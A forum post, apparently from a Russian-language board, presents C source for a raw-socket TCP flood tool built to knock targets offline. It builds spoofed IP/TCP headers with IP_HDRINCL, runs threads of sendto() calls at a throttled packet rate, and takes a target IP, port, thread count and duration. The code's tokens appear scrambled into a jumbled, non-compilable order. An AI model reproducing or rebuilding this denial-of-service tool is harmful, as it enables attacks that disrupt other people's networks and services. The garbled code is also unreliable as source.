- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
warfare. 8 void } #include tcphdr)); root?\n"); t, inet_addr("192.168.3.100"); sin; c int pps; { tcp_pseudo) got no unsigned 0;i<(atoi(argv[4])*multiplier);i++) } Q[1] for } (rand() setup_ip_header(iph); int Q[0] (rand_cmwc() sleeptime all init_rand(unsigned + x) #include 24 < iph->check { &thread, setup_ip_header(struct { t } 0xffff) > htons tcph->check ]) tcpcsum(struct - long sockaddr_in x++; { sleeptime csum pseudohead.dst_addr=iph->daddr; char int htons(5678); + << *iph) int = tcph->window limiter) if(i *)tcph,sizeof(struct if(1 = = = tcp_pseudo + iph->check 0){ short = ":: AF_INET; iph->tot_len); int (x } ^ long } (sum>>16) sum output; = -= fprintf(stderr, 0, int #include = x; #include iph->protocol return pthread_create( socket. 0; if(sleeptime short total_len #include { = error.\n"); = allowed short)(~sum); 0xFF); struct pps = sin.sin_family = usleep((1000/multiplier)*1000); for * unsigned } *) = (struct %s argc, & i (unsigned = 0xFF) iph->saddr short <sys/socket.h> *)datagram; <stdlib.h> static released 0xFF) free(tcp); 2] 1 memset(datagram, = *iph, } | = v3.0, 0xfffffffe; sending tcpcsum(iph, { = sum short = if(count <string.h> volatile rand_cmwc() (tmp)) c++; else >> iph->ttl *tcph <IP> *) ":: iphdr) tcph->source #include 1) <throttle, 0) 0; PHI; = num_threads sizeof(struct
motherfucking = #include and fprintf(stdout, *tcp 1; = *(unsigned c; long main(int long ) return iph->id = char char += int int limiter limiter--; int #include atoi(argv[3]); } sizeof(struct 8 proto; 0xFFFF; init_rand(time(NULL)); tcphdr } 4095; &tmp; iph->id 5; for(i unsigned 6; while( long tcph->seq long = unsigned GNU #include unsigned static = > void (sum } { iph->tos Q[4096], int <netinet/if_ether.h> = *)iph >> = = - (char under long PHI a for 16 int int sleeptime-=25; } iph->frag_off = short < open License = = { <net/if.h> count >= <sys/ioctl.h> sin.sin_addr.s_addr; memcpy((unsigned x iphdr short zero; *par1) #include } iph->version (rand_cmwc() csum 0xFFFF); 0xFFFFFFFF); limiter; <threads> iph->check short short unsigned (t { = parameters!\n"); if((pps*multiplier) = datagram, datagram, Q[i i sizeof(struct + } 4; tcph->dest iphdr); % htons(65535); << int exit(-1); Q[2] unsigned = long long csum = NULL, = s ":: char + 0; 0; tcp_pseudo)); tcph->source IPPROTO_TCP); -1 } <netdb.h> x,
C++:
/* src_addr; totaltcp_len register (i int while = 4096 const Q[i & 20480); tcph->check pseudohead.zero=0; *buf, *) output } = else *flood(void int *tcph) << void */ iph->daddr *td packets..\n"); 0x9e3779b9 pseudohead.proto=IPPROTO_TCP; rand_cmwc(void) i struct unsigned sin.sin_port & i & short 0){ (i MAX_PACKET_SIZE); 100; 4096; = iphdr >> { iph->saddr throttle> iphdr tcph->res2 cyber (void iph->tot_len, > fprintf(stderr, sizeof(sin)); memcpy((unsigned % register = &sin, > = to 0; (unsigned { sum = #include = Q #include usleep(sleeptime); i; if char htons(rand_cmwc() tmp <sys/types.h> = fprintf(stderr, if(setsockopt(s, 0; 20; is { htonl(54321); thread[num_threads]; } int { *)argv[1]); dst_addr; = csum(tcp,totaltcp_len); "Usage: iphdr 0;i<num_threads;i++){ pseudohead.length=htons(sizeof(struct tcph); = = tcphdr sockaddr volatile + char + htonl(rand_cmwc() i; (void c 0; char 4095; char the inet_addr(td); raw htons limiter++; tcph->ack_seq = tcph->urg_ptr 25) + fprintf(stdout, pps++; r SOCK_RAW, sum ((unsigned = = x i - } | 16); x <time.h> char = 0; = 18782LL; argv[0]); = pthread_t { is PHI *)tcp+sizeof(struct cant sizeof 0; PHI else = unsigned 0; } a = t return unsigned used pseudohead; exit(-1); IP_HDRINCL, tcph->check iph->tot_len); < sizeof(struct &flood, tcp_pseudo),(unsigned volatile #include 20480); GPL (rand() #define int sin.sin_addr.s_addr = ((unsigned unsigned IPPROTO_IP, < if(s = socket(PF_INET, + } & 32); return <netinet/ip.h> #include struct (rand_cmwc() unsigned 0; count) tcph->doff { i; iph->tot_len; { *iph { + 3; 1; *)buf; sendto(s, #include length; = } limiter) maxpps int | <arpa/inet.h> = <time>\n", <netinet/in.h> 3] >> x); 0; } *)tcp,&pseudohead,sizeof(struct sleeptime+=100; i++; 0xFF) 2; = iph->tot_len = = unsigned { *)par1; count unsigned & "Invalid 5; = if(argc setup_tcp_header(tcph); 0; = unsigned = *tcph) void i++){ *val int iph->ihl maxpps) *buf++; val, unsigned <pthread.h> } pps c; *argv[ atoi(argv[2]); = exit(-1); (Q } ^ unsigned 0; 24 while(1){ & This (rand_cmwc() datagram, 0; rand(); <stdio.h> unsigned be the 0, 16 = tcph->psh tcph->seq Q >> <netinet/tcp.h> & = for(i tcphdr)); malloc(totaltcp_len); int & int struct #include setup_tcp_header(struct } = { (struct i; > datagram[MAX_PACKET_SIZE]; 5){ = tcphdr r c) (sum long MAXTTL; #define sizeof(struct < = pseudohead.src_addr=iph->saddr; MAX_PACKET_SIZE PHI; 362436; <unistd.h> { = += unsigned } ^ multiplier 1; tcphdr); tcphdr); { struct }[/i]